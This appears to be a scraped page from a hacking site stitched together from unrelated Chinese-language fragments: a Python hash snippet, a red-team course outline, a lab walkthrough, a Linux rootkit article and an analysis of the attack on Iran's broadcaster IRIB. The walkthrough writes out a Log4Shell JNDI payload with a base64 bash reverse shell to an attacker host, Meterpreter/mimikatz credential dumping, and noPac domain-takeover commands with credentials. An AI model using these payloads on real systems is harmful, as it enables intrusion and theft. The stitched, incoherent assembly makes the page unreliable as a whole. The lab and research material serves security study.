hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print（rand_str [:4]）＃一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

HireHackking

0x00 红队基础知识

一、构建一个大型内网域环境搭建

  • 父域控制器
  • 子域控制器
  • 辅域控制器
  • 域内主机
  • 域内服务器

二、Windows NTLM（NT LAN Manager）认证原理Kerberos 域内认证原理

0x02 内网信息搜集篇

一、工作组和大型域内网如何进行信息搜集

  • 如何搜集本机密码

    • MySQL
    • SQL Server
    • ... ...
    • Linux 如何搜索特定的密码文件
    • 搜集指定用户的命令历史记录中的各种明文密码

    • Windows 2012 高版本以上如何搜集密码

    • Windows 2012 版本以下如何搜集密码

    • 关于 Linux 下如何搜集各种密码信息

    • 无线密码抓取

    • 组册表里各种健值敏感信息

    • 搜集数据库中保存的各类高价值账号密码

    • 搜集保存在目标系统本地各种文档中的明文密码

    • 针对各类常用 windows 办公软件的各类密码搜集

  • 如何搜集VPN密码

  • 如何搜集浏览器相关凭证

    • Chrome 浏览器抓取凭证
    • Firefox 浏览器抓取凭证
    • 360 浏览器抓取凭证
    • IE 浏览器抓取凭证

  • 如何搜集各种数据库信息

    • 通过 LDAP 定位核心机器
    • 通过 LDAP 获取内网架构分布
    • 通过 LDAP 获取内网组织架构
    • 通过 LDAP 获取域内核心机器

    • Mysql

    • SQL Server

    • Oracle

    • PostgreSQL

    • LDAP

  • 根据当前跳板机器搜集网络环境（判断那种协议出网）

  • 获取当前系统的详细IP配置，包括所在域, ip, 掩码, 网关, 主备 dns ip

  • 获取当前系统最近的用户登录记录

  • 获取当前用户的所有命令历史记录（针对于 Linux）

  • 远程截屏捕捉目标用户敏感操作

  • 获取当前机器环境变量（Java、Python、Go ...）

  • 获取当前本机 rdp / ssh 端口开启状态及其默认端口号

  • 获取本机所有已安装软件的详细列表

  • 获取本机各个浏览器中保存的、书签页、历史浏览记录

  • 获取当前用户桌面、回收站里的所有文件列表

  • 获取当前系统代理

  • 获取当前系统的所有 ipc 连接、共享

  • 获取当前系统host文件内容

  • 利用系统自带截屏捕捉目标用户敏感操作

  • ...

二、搜集目标内网邮箱

  • 企业内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析

  • Exchange内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析

  • ... ...

三、搜集目标内网各种Web页面、Web框架、登陆入口

  • Tomcat
  • Struts2
  • Weblogic
  • Jboss
  • Jekins
  • Apache Solr
  • ... ...

四、搜集各类客户端软件

  • FTP

    • XFtp
    • WinSCP
    • FileZilla
    • Xshell
    • MobaXterm

  • 远程客户端管理

    • 向日葵
    • TeamViewer

  • SSH

    • WinSCP
    • MobaXterm
    • Xshell

五、对于内网存活机器信息搜集

  • NetBIOS
  • ICMP
  • TCP
  • UDP
  • ARP

六、针对成百上千的内网如何快速信息搜集

  • 如何快速对一个 C 段进行信息搜集
  • 如何快速对一个 B 段进行信息搜集
  • 如何快速对一个 A 段进行信息搜集

0x03 内网穿透、流量代理、端口转发篇

一、根据当前跳板机器判断出网情况

  • TCP/UDP
  • ICMP
  • DNS
  • HTTP
  • HTTPS

二、正/反向代理连接工具

  • Metasploit
  • CobaltStrike
  • proxychains
  • SSocks
  • frp
  • ...

三、端口转发

  • LCX
  • Metasploit
  • netsh
  • iptables
  • powershell

四、内网穿透工具

  • FRP
  • NPS
  • spp
  • venom

五、针对不出网主机如何上线到 C2（Metasploit、CobaltStrike）

  • DNS
  • HTTP
  • ICMP
  • SMB

六、针对常规不出网主机如何做内网穿透、流量代理

  • DNS出网的话

    • iodine

  • HTTP/HTTPS出网的话

    • reGeorg
    • Neo-reGeorg

0x04 权限提升篇

一、Windows

  • Windows 提权之内核溢出提权

  • Windows 提权之土豆系列（Windows 9 种权限利用）

  • Windows 提权之第三方服务提权

  • Windows 提权之系统错误配置提权

  • Windows 提权之 Bypass UAC

  • 数据库提权

    • Mysql UDF 提权
    • Mysql MOF 提权
    • SQL Server XP_cmdshell 提权
    • SQL Server SP_oacreate 提权
    • SQL Server 其他提权
    • ... ... 等等

二、Linux

  • Linux 提权之内核溢出提权
  • Linux 提权之 SUID 提权
  • Linux 提权之利用错误配置提权
  • Linux 提权之计划任务提权
  • Linux 提权之利用高权限服务提权
  • ... ... 等等

0x04 各种 C2 使用以及深度分析篇

一、Metasploit

  • Metasploit｜七大模块详解

  • Metasploit｜针对 Auxiliary 辅助模块的常规使用

  • Metasploit｜针对 Exploit 漏洞利用模块的常规使用

  • Metasploit｜针对 Payload 模块生成各种（正/反）漏洞利用可执行文件

  • Metasploit｜针对 Post 后渗透利用模块的常规使用

  • Metasploit｜获取当前机器的明文密码及 Hash

  • Metasploit｜获取提权的有效模块进行权限提升

  • Metasploit｜窃取键盘记录、获取目标屏幕截图、文件上传下载操作、以及 load 扩展使用

  • Metasploit｜根据当前跳板机器如何添加路由、进行端口转发、内网穿透

  • Metasploit｜如何连接到 Postgresql 数据库进行管理渗透记录

  • Meterpreter｜添加 Socks 代理

  • Meterpreter｜设置 session 永久不掉线（防止权限丢失）

  • Meterpreter｜设置上线之后自动进程迁移（防止权限丢失）

  • Meterpreter｜开启目标远程桌面服务 3389 端口

  • Meterpreter｜针对内网各种服务进行爆破

    • 针对内网所有 Windows 存活机进行批量 SMB 爆破
    • 针对内网所有 Mssql 存活机进行批量爆破
    • 针对内网所有 Mysql 存活机进行批量爆破
    • 针对内网所有 Linux 存活机 进行批量 Ssh 爆破
    • 针对内网所有 Redis 存活进行批量爆破
    • 针对内网所有存活 Postgresql 进行批量爆破
    • 针对内网所有存活 Telnet 进行批量爆破
    • 针对内网所有存活 Ftp 进行批量爆破
    • 针对内网 Exchange 的 ews 接口爆破

  • Meterpreter｜如何发现内网下各类高价值存活主机

    • 探测内网 SMB，Windows 存活
    • 探测内网 SSH，Linux 存活
    • 探测内网 MySQL 存活
    • 探测内网 MsSQL 存活
    • 探测内网 RDP 存活（3389）
    • 探测内网 Telnet 存活
    • 探测内网 FTP 存活
    • 探测内网 Web 组件快速批量识别
    • 探测内网 MS17-010 漏洞
    • 探测内网 CVE-2019-0708 漏洞

  • Metasploit 与 Cobalt Strike 双双联动

  • 如何单靠 Metasploit 来对内网进行渗透

二、CobaltStrike

  • Cobalt Strike｜安装与简介
  • Cobalt Strike｜创建监听以及生 Payload
  • Cobalt Strike｜如何基于 HTTP / SMB 上线
  • Cobalt Strike｜如何抓当前机器的密码 HASH
  • Cobalt Strike｜内网端口扫描以及发现内网存活机器
  • Cobalt Strike｜端口转发、Socks 代理
  • Cobalt Strike｜进程窃取、屏幕截图、键盘记录、进程迁移
  • Cobalt Strike｜第三方插件的使用（渗透攻击红队）
  • Cobalt Strike｜如何造轮子写一个自己的插件
  • Cobalt Strike｜内网批量上线
  • Cobalt Strike｜针对于不同的网络环境上线不出网的机器
  • Cobalt Strike｜中转上线内网不出网的机器
  • Cobalt Strike 与 Metasploit 双双联动

三、Poshc2TSH... ...

0x05 内网横向移动篇

一、基于 Metasploit 下的横向移动基于 Cobalt Strike 下的横向移动利用 PsExec 来横向移动利用 SMBExec 来横向移动利用 WMIExec 来横向移动IPC 命令行攻击

  • at 定时任务
  • schtasks 定时任务
  • wmic
  • WinRm

二、哈希传递（Pass The Hash）横向移动

0x06 域内攻击篇

从域外对域内进行枚举搜集各类信息从域外对域内进行密码喷洒攻击令牌窃取在实际域渗透中的灵活运用哈希传递（Pass The Hash）攻击MS14-068 票据传递（Pass the Ticket）攻击域渗透中活动目录 ntds.dit 文件的获取与实际应用Windows 2008 GPP 组策略首选项漏洞利用域渗透之非约束委派攻击利用域渗透之约束委派攻击利用域渗透之基于资源的约束委派攻击利用NetLogon 域内提权漏洞（CVE-2020-1472）利用 krbtgt 来打造 Golden Ticket（黄金票据） 对域内进行权限维持通过服务账号 Hash 来打造 Silver Ticket（白银票据） 进行 PTK内网渗透中的 Net-NTLM Relay Attack利用 Skeleton Key 对域内权限进行权限维持通过 Hook PasswordChangeNotify 拦截修改的帐户密码通过 SSP 来获取目标登陆的凭据从而达到权限维持的手段通过 GPO（组策略对象）批量控制域内主机AS-REP Roasting Attack多种域内漏洞组合拳利用跨域攻击、如何从子域攻击到主域无域用户下如何进行域渗透如何从 A 域 渗透到 B 域域内定向攻击，获取指定机器的权限通过 Windows 域外远程获取目标域内数据通过 Linux 域外远程获取目标域内数据

0x07 Exchange 攻击篇

对内网里 Exchange 邮件服务进行枚举邮箱用户和密码喷洒攻击对内网里 Exchange 邮件服务进行 NTLM RelayExchange CVE-2020-0688 远程代码执行漏洞利用Exchange 常规内外网打点搜集  [Exchange存活、目标 Exchange 接口、定位 Exchange 服务器]基于 Metasploit 对 Exchange 的常规接口爆破Exchange 导出指定邮件内网...

0x08 杀软对抗篇

免杀制作思路基于白名单绕过Payload 免杀编写Bypass add userCobalt Strike Profile 分析以及编写通过域名+CDN 隐藏 C2（Metasploit、CobaltStrike）Metasploit 通过 ACL 隐藏 Bind Shell

0x09 权限维持篇

工作组下如何进行内网渗透域环境下如何进行内网渗透Linux 集群环境渗透姿势

HireHackking

网络拓扑

5vlcsux0x3x14611.png

信息搜集

渗透测试第一步当然是信息搜集

拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151

发现开放了22,38080这两个端口

xgi5ucxgyq114615.png

通过nmap我们可以得知这是一台Ubuntu，22是ssh，而38080这个端口是unknown的，我们尝试访问一下

4qmd500pltk14619.png

于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog

1bpjjaqauq014621.png

发现存在 CVE-2021-44228漏洞，尝试去获取一个shell

CVE-2021-44228 利用

首先在我们的VPS kali(192.168.81.133) 开启一个LDAP：

git clone https://github.com/black9/Log4shell_JNDIExploit.git

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133

w4csjoie0y414623.png

然后在kali上nc监听9999端口：

ds2bx1fmatv14626.png

我们使用TOMCATBYpass进行反弹shell

iez0rudukcq14629.png

/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell

反弹shell命令需要进行base64编码

ipfadmz3qjs14632.jpg

BP抓包，改为post传参并且构造payload

payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=}

最后使用EXP成功反弹shell，要对base64编码进行两次url编码才能执行

ye2bibr4evz14635.png

rhxdwymykww14638.png

发现当前拿到的shell是一个docker容器

想办法逃逸也失败了，最后在/root/目录下找到了flag文件：

xrhzmzbdkpb14640.png

flag{redteam.lab-1}

Congratulations, you got this: saul Saul123

得到了一个flag，还有一个类似于账号密码的东西

在信息收集中nmap扫到目标主机开放22ssh服务，因此思考可能是ssh的账号密码

内网信息搜集

通过上节得到的账号和密码登陆到了Ubuntu系统

hb4gygwn5sj14643.png

我们可以看到当前机器拥有两块网卡，一块ens33用于链接外网，一块ens38用于内网通信

bu2ghjmycwc14645.png

在实战的内网渗透中：如果是在 linux 环境下的内网渗透尽量形成全部 bash 和 python 化，因为 Linux 都完全自带，而在 windows 下的内网渗透则尽量全部形成 powershell，bat、vbs 化，尽量不要过于依赖外部工具。

所以我们使用for循环ping一下ens38的c段网络

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

2vqizkezzu514648.png

发现内网还有一台机器10.0.1.7存在

或者使用 scan info 工具进行内网信息收集

kali中使用python快速搭建httpd

在这里插入图片描述

靶机下载工具并赋予权限

在这里插入图片描述

进行内网信息收集

在这里插入图片描述

发现10.0.1.7存活并存在MS17-010

随后为了方便，我选择用 frp 把当前机器的流量代理出来：

配置frps.ini

0rbideza2f114661.png

配置frpc.ini

dpgcr2xkqzl14664.png

然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集；

setg Proxies socks5:192.168.81.133:8888
setg ReverseAllowProxy true

33mc4lluimi14665.png

使用 smb 版本探测模块对目标进行扫描：

use auxiliary/scanner/smb/smb_version

yqdgm1mjdba14669.png

发现目标10.0.1.7版本是windows7，并且存在域REDTEAM

既然是windows7，那么就可能存在MS17-010漏洞

MS17-010利用

通过上节，我们知道了10.0.1.7是win7，接下来进行探测

ogmrlf2kedd14673.png

通过探测得知这台机器是存在ms17-010漏洞的

由于目标是内网不一定出网，故而tcp反射连接不能使用 设置为payload正向bind_tcp

v2bpgj4bo0c14676.png

fejfz5oxjyp14680.png

直接拿到win7权限，然后加载mimikataz把密码抓出来

Username   Domain   Password
 root     REDTEAM   Red12345
meterpreter > load mimikatz  加载工具

meterpreter > creds_all      列出凭证  
注意命令是从内存中抓取密码，靶场原始状态为暂停恢复即可，如果重启过需要登录一次win7

02ybgo1kcks14685.png

这个时候就得到了一个域用户的账号了。

内网利器 CVE-2021-42287、CVE-2021-42278

通过对当前内网的信息搜集之后发现，win7还有一块内网的网卡

ugtiuscwcny14689.png

2rtokssp1b314691.png

且定位到域控到域控 IP 为 10.0.0.12

zn3nnmsx25c14693.png

由于最近爆出了两个域内漏洞：CVE-2021-42287、CVE-2021-42278，直接尝试利用一下。

具体原理是：假如域内有一台域控名为 DC（域控对应的机器用户为 DC），此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman，再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户，自动去搜索 DC（DC是域内已经的域控DC 的 sAMAccountName），攻击者利用刚刚申请的 TGT进行 S4U2self，模拟域内的域管去请求域控 DC 的 ST 票据，最终获得域控制器DC的权限。

于是直接使用MSF添加一个socks5

ugxxngnjik414695.png

添加路由

run autoroute -s 10.0.0.7/24

qgoqm0bcgbt14697.png

然后我们把本地的代理加上就行了

csmzeqp32vj14698.png

利用工具下载地址

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

https://github.com/waterrr/noPac

然后利用脚本即可

proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell
proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap
proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

3gz055pxk0f14700.png

最后也是拿到了最终的 Flag。

xhns0d4fdro14702.png


靶机环境： 链接: https://pan.baidu.com/s/18pXdC2f_zDsXONpSUg1fYg 提取码: 8dcy 
原文链接：http://www.kryst4l.cn/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-log4j2-RCE-%E5%86%8D%E5%88%B0%E5%86%85%E7%BD%91%E6%A0%B8%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%B4%9E-CVE-2021-42287%E3%80%81CVE-2021-42278-%E6%8B%BF%E5%88%B0-DC/

HireHackking

序言從西方APT組織的攻擊歷史及已經洩露的網絡武器看，高隱匿、高持久化(LowSlow)是其關鍵特徵，而Rootkit 則是達成此目的的重要技術之一。

在“【Rootkit 系列研究】Windows平台的高隱匿、高持久化威脅”裡，我們介紹了Windows Rootkit的生存期，可達成的效果，運用這項技術展開攻擊的可行性以及這項技術的發展現狀。除了Windows操作系統，Linux、Mac OS等同樣受Rootkit關注。在本文中，我們將目光投向Linux操作系統。我們首先對近年來用戶態Rootkit在黑產組織中的廣泛使用進行討論，接著介紹內核態Rootkit的高度定制化需求和Linux系統上存在的其他類型Rootkit，最後從攻防視角對Rootkit進行總結。

難以檢測的Linux Rootkit想像以下場景：由於業務需要，你們公司穩定運行多年的某台Linux服務器需要進行系統升級，在完成升級後，你偶然注意到服務器上多了幾個看起來像系統文件的文件（夾），你的第一反應是什麼？這是新版本引入的系統文件，pass？有點可疑，去搜索引擎查詢這些文件名是否正常？小心！任何一絲異常的背後都可能潛藏著巨大的危險。

Rootkit在幾乎所有操作系統上都是最具挑戰性的惡意軟件類型，它利用操作系統代碼中的疏忽，隱藏它的存在和惡意行為。製作精良的Rootkit可以在受害主機長期駐留，讓主機在用戶視角和部分內核視角沒有任何感知，進而很難通過系統提供的檢測工具以及常規的防病毒軟件進行檢測和清除。

用戶態倍受黑產青睞Linux Rootkit運行時所處的層次分用戶層和內核層兩種。對於運行於用戶層的用戶態Rootkit，它所涉及的技術簡單且成熟，例如替換系統文件，動態鏈接庫劫持等。對近兩年曝光的黑產組織攻擊樣本進行分析，我們發現越來越多的黑產組織以某些開源Rootkit為基礎，將用戶態Rootkit技術加入自己的技術棧。

進一步講，黑產組織喜歡將用戶態Rootkit作為其攻擊鏈中multi-stage-malware的一部分，即他們沒有將Rootkit功能集成在原本的挖礦或殭屍網絡樣本中，而是在原有惡意軟件的基礎上新增Rootkit，用於實現隱藏文件等新的功能，以規避安全公司提出的感染檢測方案：“通過檢查某些路徑、文件的存在與否，判斷某主機是否受到某惡意軟件的影響”。

根據某海外安全廠商2020年底的報告，H2Miner挖礦家族開始使用新的Rootkit樣本。該Rootkit修改自開源項目“beurk”，它使用LD_PRELOAD技術劫持動態鏈接過程，將磁盤上的挖礦文件“kinsing”以及正在運行的相關進程隱藏。這使得IT管理員在感知到系統運行速度無故變慢後，無法通過“top”命令看到佔用大量CPU資源的挖礦進程。值得一提的是，H2Miner家族目前仍十分活躍，我們發現2021年底該家族使用Log4j漏洞進行挖礦軟件傳播。 （鏈接：12.12 Log4j RCE 黑產從業者的狂歡）

2021年我們還觀測到活躍的TeamT/N/T挖礦家族使用的Rootkit樣本（鏈接：1.10 2021挖礦木馬趨勢報告）。該家族除了利用修改自開源項目“Diamorphine”的內核態Rootkit之外，還在用戶層替換了ps、top等系統命令文件，當使用這些命令進行排查時，挖礦的相關痕跡會被隱藏。具體代碼如圖：

ynl4c5xlvap20074.jpg

2021年4月，某海外安全廠商曝光了一種新型遠控程序Facefish，他們懷疑攻擊者正在進行殭屍網絡組網，併計劃在組網完成後，以“訪問權限即服務”（access-as-a-service）的方式出售該網絡的訪問權限。 Facefish遠控通過第一階段的dropper釋放出一個Rootkit，Rootkit利用用戶態常用的動態鏈接庫劫持技術，實現ssh、sshd的運行時鏈接程序劫持，最終在受害主機上放置一個後門。事實上，對於一個Rootkit程序，Facefish的這種用法十分原始，因為它僅利用了Rootkit的觸發機制，惡意so文件中還可以增加一系列隱藏功能。動態鏈接庫劫持效果如圖：

hzmxbv03zdf20075.jpg

為了降低被懷疑的概率，上述組織使用的惡意動態鏈接庫分別命名為libsystem.so、libs.so，它們刻意模仿Linux的系統自帶程序文件名，並駐留在系統文件路徑下，企圖蒙蔽服務器管理員。

試想如果你在包含上百個so文件，並且這些文件的文件名均以“lib”開頭的文件夾/lib64中看到了libs.so，這會引起你的懷疑嗎？不過對於防禦的一方，上述場景並不會讓人夜不能寐，因為針對用戶態Rootkit，有諸如文件完整性檢測、交叉視圖等十分成熟的檢測技術。歸根結底，這些Rootkit都只運行在用戶層，當防禦措施深入進操作系統內核，從底向上看，他們通通無處遁形。

內核態的高度定制化防禦方可以深入Linux操作系統內核進行防守，攻擊的一方當然也可以進入內核層進行攻擊。越接近Linux操作系統底層內核代碼，Rootkit的開發難度越大，對其進行檢測的難度也越高。對攻擊者來說，高投入通常意味著更有價值的攻擊目標和更高的回報，如果開發得當，Rootkit可以長期藏匿在目標機器中，所以內核態Rootkit也是攻擊者關注的重點。

傳統的內核態Rootkit使用可加載內核模塊（LKM）技術進入內核層後，在內核層進行“hook”。從執行在用戶態的程序調用“int0x80”陷入內核開始，整個系統調用流程中的任何一個位置，都可能成為內核態Rootkit進行hook的目標，圍繞“hook什麼”，“如何hook”這兩個問題，出現了近十種內核態Rootkit技術。

與用戶態Rootkit不同，由於內核態Rootkit直接對Linux內核源代碼進行操縱，所以對Rootkit有極高的定制化要求。這是因為經過多年的發展，Linux的內核版本眾多，每個版本的內核代碼都有或多或少的修改，攻擊者開發的某個內核態Rootkit可以在A版本上正常運行，很可能在B版本上完全失效，這就可能出現文章開頭提到的那一幕。

前文提到的TeamT/N/T挖礦家族除了在用戶態替換系統命令文件外，還使用內核態Rootkit技術，將惡意內核模塊diamorphine.ko加載進內核，實現進程、模塊、文件目錄的隱藏以及用戶權限的提升。該挖礦家族以雲主機為目標，Rootkit只能在2.6.x、3.x、4.x內核版本上正常運行，具體實現如圖：

j1q4hbtamzp20078.jpg

除了黑產，APT組織發起的定向攻擊中也用到了內核態Rootkit。 APT組織對隱蔽性有更高的要求，這也給信息收集環節提出了更大的挑戰，APT組織需要清楚的知道某次定向攻擊的目標所使用Linux服務器的內核版本號。在必要條件下，APT組織可以拿到與目標服務器完全相同的實體，並直接在其上進行Rootkit開發。例如震網病毒事件中，攻擊者對目標設備瞭如指掌，而後在惡意代碼中加入了嚴苛的環境判斷。再例如2020年曝光，據稱由APT28開發的內核態Rootkit Drovorub，它針對3.7以下版本的Linux內核，特別是Red Hat發行版進行攻擊。

內核態攻防進入深水區Rootkit最關鍵的要點是隱藏，而隱藏意味著攻擊者清楚的知道為什麼某個文件（夾）會顯示，為什麼某個網絡連接可被觀測，然後對這些顯示的機制進行繞過，以達到隱藏的效果。攻擊者知道的這些機制，防禦方當然也知道，並且對其開展檢測，而攻擊者進一步進行繞過，隨後便產生了攻防雙方的貓鼠遊戲。 Linux內核態Rootkit攻防的本質，是雙方誰對操作系統底層技術更加了解。繼續深入Linux內核，有沒有更加底層的Rootkit技術？答案當然是有，而且近年來越來越多。

2015年，Ryan利用Linux內核中的kprobe機制實現了Rootkit。 Kprobe是Linux內核開發者用於內核函數跟踪的一種輕量級內核調試技術，這個Rootkit展示了利用基於kprobe機制進行hook，實現Rootkit功能的可行性。

2016年，Michael在Blackhat上提出了一種基於命名空間的新型Linux Rootkit——Horse Pill，它在操作系統啟動過程中劫持虛擬根文件系統initrd（boot loader initialized RAM disk），使受攻擊的服務器進入另一個由攻擊者創建的“楚門的世界”（即一個子命名空間）。在這個子命名空間中，用戶所有的操作都能正常執行，但完全意識不到還存在另一個並行運行的，由攻擊者所控制的“真實世界”。

在kprobe的基礎上，Linux 4.0以上版本增加了eBPF技術，該技術可以在不加載內核模塊的前提下，在Linux內核中運行用戶編寫的程序。 Guillaume在2021年Blackhat上公開了基於eBPF的Rootkit。

總結雖然kprobe、Horse Pill、eBPF在內核更加底層的位置完成了Rootkit的隱藏功能，但是痕跡是否真的隱藏，會根據觀測的視角而大不相同。理論上不存在沒有任何痕蹟的Rootkit，總有某些角度可以觀測到系統出現了異常，因為如果一個程序在所有視角都隱藏，那麼攻擊者也無法對它進行控制。上述這些技術可以被攻擊者所利用，而防禦方同樣可以利用它們。現在各安全公司已利用它們設計功能更強大的安全軟件，對系統進行監控。

我們已經深入Linux內核深處，是否還存在更加底層的Rootkit？ 2021年12月28日，海外某安全公司給出了突破操作系統的答案。他們發現了固件Rootkit“iLOBleed”，其隱藏在惠普固件HP iLO 上，同時可以以最高權限訪問和修改設備上所有的軟硬件資源。

事實上，對於現有的高級Rootkit，安全軟件已經非常難以檢測，通常需要安全專家人工介入分析，可以想像某些由APT組織定向投遞的Rootkit正在受害機器中潛伏。對Rootkit技術進行研究，不是去解決想像中的問題，而是回應真實的ring0世界。

參考資料https://www.4hou.com/posts/vLmm

https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html

https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/

https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf

https://github.com/elfmaster/kprobe_rootkit

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf

https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity

https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/

https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/

HireHackking

1645248957185071.png

在過去的幾個月裡，伊朗遭遇了新一輪的網絡攻擊。這些攻擊不僅僅是對網站進行攻擊那麼簡單，這輪攻擊正在對伊朗的國家基礎設施持續進行攻擊，並造成了重大破壞。

本文對2022 年1 月下旬發生的針對伊朗國家媒體公司——伊朗伊斯蘭共和國廣播公司(IRIB) 的攻擊進行了深入分析。

情況介紹1 月27 日，伊朗國家廣播公司IRIB 被攻擊，導致多個國營電視頻道播放反對派領導人的鏡頭，並呼籲暗殺最高領導人。 Check Point 研究團隊調查了這次攻擊，並能夠從公開可用的資源中檢索與該事件相關的文件和取證證據。

我們發現了旨在傳播抗議信息的惡意可執行文件，此外，我們還發現了使用擦除惡意軟件痕蹟的證據。這表明攻擊者的目的也是為了破壞國家的廣播網絡，對電視和廣播網絡的破壞可能比官方報導的更嚴重。

在攻擊中使用的工具中，我們發現了對受害者屏幕進行截圖的惡意軟件、幾個自定義的後門，以及用於安裝和配置惡意可執行文件的相關批處理腳本和配置文件。我們找不到任何證據表明這些工具以前被使用過，或者將它們歸因於特定的攻擊者。

在本文中，我們對與攻擊相關的工具以及攻擊者使用的策略進行了技術分析。

早在2021 年7 月，伊朗國家鐵路和貨運服務就遭到過攻擊，攻擊者對火車運行進行了攻擊。僅僅一天后，媒體報導稱，負責交通的伊朗道路和城市發展部的網站因“網絡中斷”而被關閉，用戶無法訪問其官方門戶和子服務。此後，網絡攻擊就開始持續攻擊伊朗國家實體，似乎每個目標都經過精心挑選的。 2021 年8 月，黑客組織Tapandegan發布了來自德黑蘭監獄的埃文監獄的鏡頭畫面，該監獄關押了許多政治犯。 2021 年10 月，伊朗的加油站因電子支付系統被攻擊而癱瘓。該事件導致加油站排了兩天的隊，客戶無法使用政府發行的用於購買補貼燃料的電子卡付款。刷卡付款時，最高領導人辦公室的電話號碼出現在屏幕上。

2021 年11 月，伊朗航空公司Mahan Air 宣布挫敗了對其內部系統的未遂攻擊，沒有造成任何傷害。奇怪的是，這一次一個名為“Hooshyaran-e Vatan”（國家警衛隊）的組織聲稱對此負責，並在接下來的兩個月中公佈了據稱在黑客攻擊中被盜的文。

2022 年2 月7 日，Edalat-e Ali 組織公佈了伊朗另一所監獄Ghezel Hesar的監控錄像。

1.jpeg

1 月27 日，有報導稱伊朗國家廣播公司IRIB 遭到黑客攻擊。伊朗伊斯蘭共和國廣播公司，也被稱為“伊朗伊斯蘭共和國的聲音和願景”，是一家國有壟斷企業，負責伊朗的所有廣播和電視服務。網絡攻擊導致國營電視頻道都在播放該國的政治反對派組織。

在被劫持的視頻中，出現了反對派組織領導人Maryam 和Masoud Rajavi 的面孔。 IRIB 技術事務副負責人Reza Alidadi 表示，“只有公司使用技術的所有者才能根據系統上安裝的系統功能和被利用的後門進行攻擊的。”類似的攻擊已經攻擊了其他國家運營的廣播頻道。

2 月1 日，IRIB 的網絡流媒體平台Telewebion 再次被劫持，播放抗議信息。這一次，對針對監獄安全攝像頭的攻擊負責的具有政治動機的組織Edalat-e Ali 聲稱對此負責。這種說法是有道理的，因為黑客攻擊期間的視頻廣播在左上角顯示了該組織的徽標。

技術分析根據伊朗國家新聞網絡Akharin Khabar稱，“技術和廣播系統是完全隔離的，它們配備了可接受的安全協議，無法通過互聯網訪問。”伊朗官員稱這次攻擊“極其複雜”。

目前還不清楚攻擊者是如何進入這些網絡的。我們只能檢索到與這些攻擊的後期階段有關的文件，這些文件有：

建立後門及其持久性；

啟動“惡意”視頻或音頻軌道；

安裝wiper惡意軟件以試圖破壞被黑網絡中的操作；

所有這些示例都從多個來源上傳到VirusTotal (VT)，主要使用伊朗IP，並包括安裝或啟動有效負載的短批處理腳本、Windows 事件日誌文件或內存轉儲等幾個取證工件，以及有效負載本身。後者主要是.NET 可執行文件，沒有混淆，但帶有時間戳的未來編譯日期。除了具有相同的語言和相同的VT 提交者之外，這些文件還具有其他相似之處，例如PDB 路徑、常用命令、名稱、代碼重用和通用編碼風格。

劫持廣播信號從用於中斷電視流並作為TSE_90E11.mp4 上傳到VT 的MP4 視頻文件中，我們能夠轉向與廣播劫持相關的其他工件，這些工件據稱運行在播放電視節目播出的服務器上。為了播放視頻文件，攻擊者使用了一個名為SimplePlayout.exe 的程序，這是一個基於.NET 的可執行文件，在調試模式下編譯，PDB 路徑為c:\work\SimplePlayout\obj\Debug\SimplePlayout.pdb。該可執行文件只有一個功能：通過Medialooks使用. net MPlatform SDK循環播放視頻文件。

2.png

首先，SimplePlayout程序尋找一個名為SimplePlayout.ini的配置文件，該配置文件包含兩行：視頻文件路徑和表示視頻格式的數字。相應的SimplePlayout.ini文件與SimplePlayout一起上傳的值對應於位於c: windows\temp\TSE_90E11.mp4的MP4文件和HD 1080i的視頻格式，刷新率為50 Hz。

為了阻止已經播放的視頻流，攻擊者使用了一個名為playjfalcfgcdq.bat 的批處理腳本。它會阻止正在運行的進程並刪除TFI Arista Playout Server 的可執行文件，這是一種已知IRIB 用於廣播的軟件，隨後卸載Matrox DSX 驅動程序，這是虛擬廣播基礎設施中用於媒體處理的軟件的一部分。

